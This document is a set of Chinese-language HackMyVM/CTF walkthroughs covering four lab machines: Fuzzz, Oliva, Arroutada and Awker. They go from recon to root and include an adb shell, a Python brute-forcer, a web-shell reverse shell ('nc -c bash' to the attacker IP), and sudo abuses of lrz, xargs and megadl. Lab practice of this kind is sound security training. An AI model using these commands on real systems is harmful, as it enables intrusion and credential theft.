Fuzzz靶机信息靶机名: Fuzzz难度: Low-Easy信息收集root@kali:~# arp-scan --localnet -I eth0 Interface: eth0, type: EN10MB, MAC: 00:0c:29:d8:ab:ac, IPv4: 192.168.100.100 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.100.1 bc:24:11:b4:12:2d (Unknown) 192.168.100.2 bc:24:11:a2:5b:a7 (Unknown) 192.168.100.3 00:e0:4f:25:79:40 Cisco Systems, Inc 192.168.100.10 90:09:d0:24:84:21 Synology Incorporated 192.168.100.11 c8:98:28:3e:45:5b (Unknown) 192.168.100.12 c8:98:28:3e:49:9d (Unknown) 192.168.100.50 08:00:27:90:b8:90 PCS Systemtechnik GmbH 192.168.100.53 98:8f:e0:6b:01:94 Huaqin Technology Co.,Ltd. 192.168.100.53 98:8f:e0:6b:01:94 Huaqin Technology Co.,Ltd. (DUP: 2) 192.168.100.51 54:48:e6:cb:25:c9 Beijing Xiaomi Mobile Software Co., Ltdroot@kali:~# nmap 192.168.100.50 -p- -sC -sV Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-19 03:29 EDT Nmap scan report for 192.168.100.50 Host is up (0.0012s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.9 (protocol 2.0) | ssh-hostkey: | 256 b6:7b:e7:e5:b3:33:c7:ff:db:63:5d:b3:75:0d:e2:dd (ECDSA) |_ 256 0a:ce:e5:c3:de:50:9c:6d:b7:0d:de:73:b8:6c:28:55 (ED25519) 5555/tcp open adb Android Debug Bridge (token auth required) MAC Address: 08:00:27:90:B8:90 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Service Info: OS: Android; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.62 secondsWeb5555 是 adb> adb connect 192.168.100.50:5555 connected to 192.168.100.50:5555 > adb devices List of devices attached 192.168.100.50:5555 device `` > adb shell / $ id uid=1000(runner) gid=1000(runner) groups=1000(runner)/opt $ netstat -tuln Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.0.1:80 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:5555 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 :::22 :::* LISTEN进入 shell后， 发现了一个 80 ,使用 socat 转发出来/tmp $ wget 192.168.100.100:8000/socat Connecting to 192.168.100.100:8000 (192.168.100.100:8000) saving to 'socat' socat 100% |********************************| 366k 0:00:00 ETA 'socat' saved /tmp $ chmod +x socat /tmp $ ./socat TCP-LISTEN:4444,fork TCP4:127.0.0.1:80 &image-20250519153807900访问后发现网页中有很多内容root@kali:~# gobuster dir -x php,html,js,txt -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -u http://192.168.100.50:4444 =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.100.50:4444 [+] Method: GET [+] Threads: 50 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Extensions: php,html,js,txt [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /line (Status: 200) [Size: 0] /line2 (Status: 200) [Size: 0] /line1 (Status: 200) [Size: 0] root@kali:~# curl 192.168.100.50:4444/line root@kali:~#访问后，还是很有很多内容root@kali:~# gobuster dir -x php,html,js,txt -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -u http://192.168.100.50:4444/line =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.100.50:4444/line [+] Method: GET [+] Threads: 50 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Extensions: php,html,js,txt [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /b (Status: 200) [Size: 0] /b3 (Status: 200) [Size: 0]仍然有很多内容，看到后我都傻逼了，靶机名字叫 fuzz，然后我就去 fuzz 了root@kali:~# wfuzz -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u http://192.168.100.50:4444/line/b3FUZZ --hc 404 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://192.168.100.50:4444/line/b3FUZZ Total requests: 4744 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000210: 200 0 L 0 W 0 Ch "B" Total time: 0 Processed Requests: 4744 Filtered Requests: 4743 Requests/sec.: 0拼起来是 b3B我猜测这可能是私钥的前三个字母， 那么就可以编写脚本了import requests from urllib.parse import quote import os base_url = "http://192.168.100.50:4444" initial_path = "/line1/" session = requests.Session() session.timeout = 3 # 3秒超时 max_line_number = 10 # 最大line编号 output_dir = "scan_results" # 结果保存目录 # 创建输出目录 os.makedirs(output_dir, exist_ok=True) # Base64字符集（字母数字 + '+' + '/' + '='） base64_chars = ( "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz" "0123456789" "+/=" ) def save_result(line_num, path): """保存有效路径到对应line的文件""" filename = os.path.join(output_dir, f"line_{line_num}.txt") with open(filename, 'a') as f: f.write(f"{base_url}{path}\n") def brute_force_url(prefix_path, current_line): found_chars = [] for char in base64_chars: # 对字符进行URL编码（'/' -> '%2F'，其他字符保持不变） encoded_char = quote(char, safe='') if char == '/' else char url = f"{base_url}{prefix_path}{encoded_char}" try: response = session.get(url) if response.status_code == 200: print(f"[+] Found valid char: '{char}' (encoded: '{encoded_char}') | URL: {url}") found_chars.append(char) save_result(current_line, f"{prefix_path}{encoded_char}") except requests.exceptions.RequestException as e: print(f"[-] Error on {url}: {e}") return found_chars def recursive_brute_force(prefix_path, current_line): found_chars = brute_force_url(prefix_path, current_line) if not found_chars: print(f"[!] No valid chars found for {prefix_path}") return for char in found_chars: new_path = f"{prefix_path}{char}" print(f"[*] Recursing into: {new_path}") recursive_brute_force(new_path, current_line) # 第一阶段：从根路径 /line/ 开始爆破 print(f"[*] Starting brute force on {base_url}{initial_path}") recursive_brute_force(initial_path, 1) # line 1 # 第二阶段：从 /line/2/ 到 /line/30/ for line_num in range(2, max_line_number + 1): initial_path = f"/line{line_num}/" print(f"[*] Switching to path: {initial_path}") recursive_brute_force(initial_path, line_num) print(f"[*] All scans completed. Results saved to {output_dir}/")ai写的人机代码， 保存后需要自己处理一下root@kali:~/scan_results# ls -al 总计 40 drwxr-xr-x 2 root root 4096 5月19日 03:46 . drwx------ 13 root root 4096 5月19日 03:45 .. -rw-r--r-- 1 root root 4865 5月19日 03:46 line_1.txt -rw-r--r-- 1 root root 4658 5月19日 03:46 line_2.txt -rw-r--r-- 1 root root 4865 5月19日 03:46 line_3.txt -rw-r--r-- 1 root root 2331 5月19日 03:46 line_4.txt -rw-r--r-- 1 root root 2486 5月19日 03:47 line_5.txt root@kali:~/scan_results# for file in line_*.txt; do tail -n 1 "$file"; done > all.txt root@kali:~/scan_results# cat all.txt http://192.168.100.50:4444/line1/b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW http://192.168.100.50:4444/line2/QyNTUxOQAAACArnEFFrjDI6rYt5GmUDxMvSeX3pcn0GGBfgo1EQtXpgwAAAJDS3+5f0t/u http://192.168.100.50:4444/line3/XwAAAAtzc2gtZWQyNTUxOQAAACArnEFFrjDI6rYt5GmUDxMvSeX3pcn0GGBfgo1EQtXpgw http://192.168.100.50:4444/line4/AAAEBCjeRitoZJIm1c4i0VD2Muw5nqgb7zC13vMaxS/la+vSucQUWuMMjqti3kaZQPEy9J http://192.168.100.50:4444/line5/5felyfQYYF+CjURC1emDAAAACWFzYWhpQHBoaQECAwQ= root@kali:~/scan_results# sed 's|http://192.168.100.50:4444/line[0-9]*/||' all.txt > id root@kali:~/scan_results# cat id [binary] root@kali:~/scan_results#-----BEGIN OPENSSH PRIVATE KEY----- [binary] -----END OPENSSH PRIVATE KEY-----UserFlagfuzzz:~$ cat user.flag flag{da39a3ee5e6b4b0d3255bfef95601890afd80709}提权 Rootfuzzz:~$ sudo -l Matching Defaults entries for asahi on fuzzz: secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin Runas and Command-specific defaults for asahi: Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL" User asahi may run the following commands on fuzzz: (ALL) NOPASSWD: /usr/local/bin/lrzlrz 是文件传输工具fuzzz:~$ cd /etc/ fuzzz:/etc$ sudo /usr/local/bin/lrz -y在本机写一个 passwd 文件上传到/etc/覆盖原来的 passwd image-20250519155453458fuzzz:/etc$ cat passwd root:$1$OW793DB3$k/E4oi0ePHb8PXxhCEBIt1:0:0:root:/root:/bin/sh bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin klogd:x:100:101:klogd:/dev/null:/sbin/nologin runner:x:1000:1000::/home/runner:/bin/sh asahi:x:1001:1001::/home/asahi:/bin/sh uwsgi:x:101:102:uwsgi:/dev/null:/sbin/nologin给 root 设置一个密码fuzzz:/etc$ su Password: 123 /etc # id uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)RootFlag~ # cat root.flag flag{46a0e055d5db8d82eee6e7eb3ee3ccf64be3fca2}
HackMyVM Oliva信息收集root@kali:~# nmap 192.168.100.54 -p- Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-18 21:55 EDT Nmap scan report for dev.loooower (192.168.100.54) Host is up (0.00065s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:AA:29:F1 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 5.57 secondsimage-20250519095601211root@kali:~# gobuster dir -x php,html,js,txt -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -u http://192.168.100.54 =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.100.54 [+] Method: GET [+] Threads: 50 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Extensions: php,html,js,txt [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /index.php (Status: 200) [Size: 69] /index.html (Status: 200) [Size: 615]image-20250519095720721LUKSCLICK 后下载了一个文件 olivaroot@kali:~/oliva# file oliva oliva: LUKS encrypted file, ver 2, header size 16384, ID 3, algo sha256, salt 0x14fa423af24634e8..., UUID: 9a391896-2dd5-4f2c-84cf-1ba6e4e0577e, crc 0x6118d2d9b595355f..., at 0x1000 {"keyslots":{"0":{"type":"luks2","key_size":64,"af":{"type":"luks1","stripes":4000,"hash":"sha256"},"area":{"type":"raw","offsecryptsetup luksOpen oliva oliva是需要密码的， 原本使用了luks2john 但是只支持luks1, 找到一个bruteforce-luks 支持爆破luks2root@kali:~/oliva# bruteforce-luks -t 4 -f /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-100000.txt oliva Warning: using dictionary mode, ignoring options -b, -e, -l, -m and -s. 根本不动,等了半小时，不知道为什么， 就去看了一下wp， 获取了一下passwordPassword found: bebitaroot@kali:~/oliva# cryptsetup luksOpen oliva oliva 输入 oliva 的口令：bebita root@kali:~/oliva# lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS loop0 7:0 0 19.1M 0 loop └─oliva 254:0 0 3.1M 0 crypt sda 8:0 0 80.1G 0 disk └─sda1 8:1 0 80.1G 0 part 挂载:root@kali:~/oliva# mount /dev/mapper/oliva /mnt root@kali:~/oliva# cd /mnt root@kali:/mnt# ls -al 总计 18 drwxr-xr-x 3 root root 1024 2023年 7月 4日 . drwxr-xr-x 18 root root 4096 3月 7日 09:15 .. drwx------ 2 root root 12288 2023年 7月 4日 lost+found -rw-r--r-- 1 root root 16 2023年 7月 4日 mypass.txtroot@kali:/mnt# cat mypass.txt Yesthatsmypass!使用密码登录到olivaUserFlagoliva@oliva:~$ cat user.txt HMVY0H8NgGJqbFzbgo0VMRm提权 Rootoliva@oliva:/opt$ ss -tuln Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:* tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:* tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:* tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:* tcp LISTEN 0 511 [::]:80 [::]:* tcp LISTEN 0 128 [::]:22 [::]:*发现一个 mysql 服务器, 没有密码oliva@oliva:~$ getcap -r / 2>/dev/null oliva@oliva:~$ /usr/sbin/getcap -r / 2>/dev/null /usr/bin/nmap cap_dac_read_search=eip /usr/bin/ping cap_net_raw=epnmap -iL targets.txt可以使用 nmap -iL 变相的读取文件oliva@oliva:/var/www/html$ nmap -iL index.php Starting Nmap 7.93 ( https://nmap.org ) at 2025-05-19 05:05 CEST Failed to resolve "Hi". Failed to resolve "oliva,". Failed to resolve "Here". Failed to resolve "the". Failed to resolve "pass". Failed to resolve "to". Failed to resolve "obtain". Failed to resolve "root:". Failed to resolve "<?php". Failed to resolve "$dbname". Failed to resolve "=". Failed to resolve "'easy';". Failed to resolve "$dbuser". Failed to resolve "=". Failed to resolve "'root';". Failed to resolve "$dbpass". Failed to resolve "=". Failed to resolve "'Savingmypass';". Failed to resolve "$dbhost". Failed to resolve "=". Failed to resolve "'localhost';". Failed to resolve "?>". Failed to resolve "<a". Unable to split netmask from target expression: "href="oliva">CLICK!" WARNING: No targets were specified, so 0 hosts scanned. Nmap done: 0 IP addresses (0 hosts up) scanned in 0.05 seconds数据库密码为: SavingmypassMariaDB [(none)]> show databases; +--------------------+ | Database | +--------------------+ | easy | | information_schema | | mysql | | performance_schema | | sys | +--------------------+ 5 rows in set (0,028 sec) MariaDB [(none)]> use easy; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed MariaDB [easy]> show tables -> ; +----------------+ | Tables_in_easy | +----------------+ | logging | +----------------+ 1 row in set (0,000 sec) MariaDB [easy]> select * from logging; +--------+------+--------------+ | id_log | uzer | pazz | +--------+------+--------------+ | 1 | root | OhItwasEasy! | +--------+------+--------------+ 1 row in set (0,011 sec)root 密码为: OhItwasEasy!RootFlagroot@oliva:~# cat rutflag.txt HMVnuTkm4MwFQNPmMJHRyW7
HackMyVM Arroutada信息收集端口扫描root@kali:~# nmap 192.168.100.55 -p- Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-07 02:13 EDT Nmap scan report for 192.168.100.55 Host is up (0.0017s latency). Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE 80/tcp open http MAC Address: 08:00:27:86:58:3C (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 7.18 seconds80端口 :image-20250507141457484只有黑手目录枚举root@kali:~# gobuster dir -x php,txt,html,js -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -u http://192.168.100.55 =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.100.55 [+] Method: GET [+] Threads: 50 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Extensions: php,txt,html,js [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /.html (Status: 403) [Size: 279] /.php (Status: 403) [Size: 279] /index.html (Status: 200) [Size: 59] /imgs (Status: 301) [Size: 315] [--> http://192.168.100.55/imgs/] /scout (Status: 301) [Size: 316] [--> http://192.168.100.55/scout/] /.php (Status: 403) [Size: 279] /.html (Status: 403) [Size: 279] Progress: 312995 / 1102800 (28.38%)^Cimgs 没有什么有用的东西/scout 中有几句话image-20250507141837038说游戏写重要的文档,但是不知道第一个路径是什么， 那我们再扫一遍目录root@kali:~# gobuster dir -x php,txt,html,js -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -u http://192.168.100.55//scout/ =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.100.55//scout/ [+] Method: GET [+] Threads: 50 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Extensions: html,js,php,txt [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /.php (Status: 403) [Size: 279] /index.html (Status: 200) [Size: 779] /.html (Status: 403) [Size: 279] /download (Status: 301) [Size: 325] [--> http://192.168.100.55/scout/download/] /img (Status: 301) [Size: 320] [--> http://192.168.100.55/scout/img/] /1 (Status: 301) [Size: 318] [--> http://192.168.100.55/scout/1/] /links (Status: 301) [Size: 322] [--> http://192.168.100.55/scout/links/] /content (Status: 301) [Size: 324] [--> http://192.168.100.55/scout/content/] /html (Status: 301) [Size: 321] [--> http://192.168.100.55/scout/html/] /data (Status: 301) [Size: 321] [--> http://192.168.100.55/scout/data/] /java (Status: 301) [Size: 321] [--> http://192.168.100.55/scout/java/] /exploits (Status: 301) [Size: 325] [--> http://192.168.100.55/scout/exploits/] /scan (Status: 301) [Size: 321] [--> http://192.168.100.55/scout/scan/] /j1 (Status: 301) [Size: 319] [--> http://192.168.100.55/scout/j1/] /j2 (Status: 301) [Size: 319] [--> http://192.168.100.55/scout/j2/] /bye (Status: 301) [Size: 320] [--> http://192.168.100.55/scout/bye/] /spell (Status: 301) [Size: 322] [--> http://192.168.100.55/scout/spell/] /.html (Status: 403) [Size: 279] /.php (Status: 403) [Size: 279]扫出来了特别多目录 大部分都是空的刚刚那个网页上写了 j1 我就尝试 并没有， 尝试了一下 j2 image-20250507142725739# pass.txt user:password# z206 Ignore z*, please Jabatito逛了一圈只有pass.txt 和 z206是有内容的 让我忽略这些z文件 有一个 shellfile.ods excel 是可以打开ods的 但是我电脑上没有excel只有wps， 所以网上随便找了一个在线查看网站打开了一下 提示有密码 试了pass.txt 不对查到ods 密码可以用john跑root@kali:~# libreoffice2john shellfile.ods > tmproot@kali:~# john --wordlist=/usr/share/wordlists/rockyou.txt tmp Using default input encoding: UTF-8 Loaded 1 password hash (ODF, OpenDocument Star/Libre/OpenOffice [PBKDF2-SHA1 256/256 AVX2 8x BF/AES]) Cost 1 (iteration count) is 100000 for all loaded hashes Cost 2 (crypto [0=Blowfish 1=AES]) is 1 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status john11 (shellfile.ods) 1g 0:00:00:51 DONE (2025-05-07 02:46) 0.01953g/s 323.1p/s 323.1c/s 323.1C/s lachina..emmanuel1 Use the "--show --format=ODF" options to display all of the cracked passwords reliably Session completed.image-20250507144821007进入这个 php 里面一片空白 前边提示 fuzzroot@kali:~# wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u http://192.168.100.55/thejabasshell.php?FUZZ=id --hh 0 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://192.168.100.55/thejabasshell.php?FUZZ=id Total requests: 4744 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000457: 200 0 L 5 W 33 Ch "a" Total time: 0 Processed Requests: 4744 Filtered Requests: 4743 Requests/sec.: 0image-20250507145104111a 参数加入后，说还需要 b 参数 爆破一下 b 参数root@kali:~# wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u http://192.168.100.55/thejabasshell.php?a=id\&b=FUZZ --hh 33 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://192.168.100.55/thejabasshell.php?a=id&b=FUZZ Total requests: 4744 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000003033: 200 1 L 3 W 54 Ch "pass" Total time: 0 Processed Requests: 4744 Filtered Requests: 4743 Requests/sec.: 0b 参数为pass 返回值不一样image-20250507145434489命令成功执行了反弹Shellhttp://192.168.100.55/thejabasshell.php?a=nc%20-c%20bash%20192.168.100.100%209001&b=passimage-20250507145556000User提权一通查找后发现www-data@arroutada:/tmp$ more /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) # | | .---------- day of month (1 - 31) # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * user-name command to be executed 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) * * * * * drito /home/drito/service有一个计划任务 传入pspy64 查看image-20250507150254522开了一个web 我是用了socat把端口转发出来了./socat TCP-LISTEN:4444,fork TCP4:127.0.0.1:8000 &image-20250507150344115有一个 brainfuck 加密的image-20250507150451402没什么鸟用root@kali:~# gobuster dir -x php,txt,html,js -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -u http://192.168.100.55:4444 --exclude-length 319 =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.100.55:4444 [+] Method: GET [+] Threads: 50 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] Exclude Length: 319 [+] User Agent: gobuster/3.6 [+] Extensions: php,txt,html,js [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /priv.php (Status: 200) [Size: 308]扫出来一个 phpError: the "command" parameter is not specified in the request body. /* $json = file_get_contents('php://input'); $data = json_decode($json, true); if (isset($data['command'])) { system($data['command']); } else { echo 'Error: the "command" parameter is not specified in the request body.'; } */提示需要 command 参数 post读取json 数据那我们使用 burp 重发一下image-20250507151243708命令执行成功了反弹 shellUserFlagdrito@arroutada:~$ cat user.txt 785f64437c6e1f9af6aa1afcc91ed27cRoot提权drito@arroutada:~$ sudo -l Matching Defaults entries for drito on arroutada: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User drito may run the following commands on arroutada: (ALL : ALL) NOPASSWD: /usr/bin/xargshttps://gtfobins.github.io/gtfobins/xargs/#sudoimage-20250507151727008sudo xargs -a /dev/null shRootFlagroot@arroutada:~# id uid=0(root) gid=0(root) groups=0(root) root@arroutada:~# cat root.txt R3VuYXhmR2JGenlOYXFOeXlVbnB4WmxJWg==Flag经过了一些操作Base64: GunaxfGbFzyNaqNyyUnpxZlIZROT13 : ThanksToSmlAndAllHackMyVM
Awker简单写一下信息收集root@kali:~# nmap 192.168.100.56 -p- Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-06 08:41 EDT Nmap scan report for 192.168.100.56 Host is up (0.00065s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:83:CD:4D (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 6.95 seconds80： 是一个phpinfoimage-20250506204252227root@kali:~# gobuster dir -x php,txt,html,js -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -u http://192.168.100.56 =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.100.56 [+] Method: GET [+] Threads: 50 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Extensions: php,txt,html,js [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /.php (Status: 403) [Size: 279] /index.php (Status: 200) [Size: 85768] /.html (Status: 403) [Size: 279] /learning.php (Status: 200) [Size: 4891] Progress: 17591 / 1102800 (1.60%)^Cimage-20250506204407864目录扫出来一个/learning.php 直接命令注入image-20250506204450127直接反弹 shellUser提权www-data@Awker:/var/www/html$ find / -readable -type f 2>/dev/null|grep -Pv "pro c|sys|boot|usr|run|etc|var|snap" /home/welcome/WEP-capture.pcap /home/welcome/.bash_logout /home/welcome/.bashrc /home/welcome/.profilewelcome 家目录里有个WEP流量包 直接拉到本地 aircrack 解一下aircrack-ng WEP-capture.pcap Aircrack-ng 1.7 [00:00:01] Tested 60016 keys (got 17273 IVs) KB depth byte(vote) 0 0/ 1 4D(28160) 24(23808) 58(23552) 44(22528) B7(22528) 94(21760) D2(21504) 00(20992) 39(20992) 71(20992) 1 4/ 34 59(21760) E1(21504) 5B(21504) B0(20992) 56(20736) 98(20736) A6(20736) B4(20480) EF(20480) 86(20480) 2 36/ 45 04(19712) 16(19456) 41(19456) 56(19456) 7B(19456) 7C(19456) 81(19456) E6(19456) F1(19456) F2(19456) 3 14/ 40 45(20992) D3(20992) 94(20736) 04(20736) 0F(20480) 58(20480) B2(20480) 00(20480) 1E(20224) 20(20224) 4 0/ 1 59(27648) 6F(23040) 25(22016) 20(21760) 38(21760) 30(21504) 53(21504) 67(21504) 84(21504) DB(21504) KEY FOUND! [ 4D:59:4B:45:59 ] (ASCII: MYKEY ) Decrypted correctly: 100%获得了一个 MYKEY 是welcome 用户的密码UserFlagwelcome@Awker:~$ cat user.txt flag{user-4e9e3333bfeff9fd6a40fca5ce9b05b7}Root提权welcome@Awker:~$ sudo -l Matching Defaults entries for welcome on Awker: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/s bin\:/usr/bin\:/sbin\:/bin User welcome may run the following commands on Awker: (ALL) NOPASSWD: /usr/bin/megadlwelcome@Awker:~$ megadl -help Usage: megadl [OPTION…] - download exported files from mega.nz Help Options: -h, --help Show help options --help-all Show all help options Application Options: --path=PATH Local directory or file name, to save data to --no-progress Disable progress bar --print-names Print names of downloaded files --choose-files Choose which files to download when downloading fo lders (interactive) --disable-resume Disable resume when downloading file -u, --username=USERNAME Account username (email) -p, --password=PASSWORD Account password --no-ask-password Never ask interactively for a password --reload Reload filesystem cache --limit-speed=SPEED Limit transfer speed (KiB/s) --proxy=PROXY Proxy setup string --config=PATH Load configuration from a file --ignore-config-file Disable loading .megarc --debug=OPTS Enable debugging output --version Show version informationmegadl 是用于mega 网盘下载的可以指定 config 那就直接读 root flag 了welcome@Awker:~$ sudo /usr/bin/megadl --config=/root/root.txt ERROR: Failed to open config file: /root/root.txt: Key file contains line “flag{ root-e93a188c288106b24060679d47cc630f}” which is not a key-value pair, group, or comment拿 shell 的话先尝试读 root 有没有公钥welcome@Awker:~$ sudo /usr/bin/megadl --config=/root/.ssh/authorized_keys ERROR: Failed to open config file: /root/.ssh/authorized_keys: Key file contains line “root:16b02f836fadea32dea19a110e3d588d” which is not a key-value pair, gro up, or comment发现也是长得不太像公钥 应该是 root 的密码 直接su 上去就行也可以在 mega 上上传一个计划任务的文件 然后在吧唧里拉下来使用--path= 指定保存路径RootFlagroot@Awker:~# cat root.txt flag{root-e93a188c288106b24060679d47cc630f}
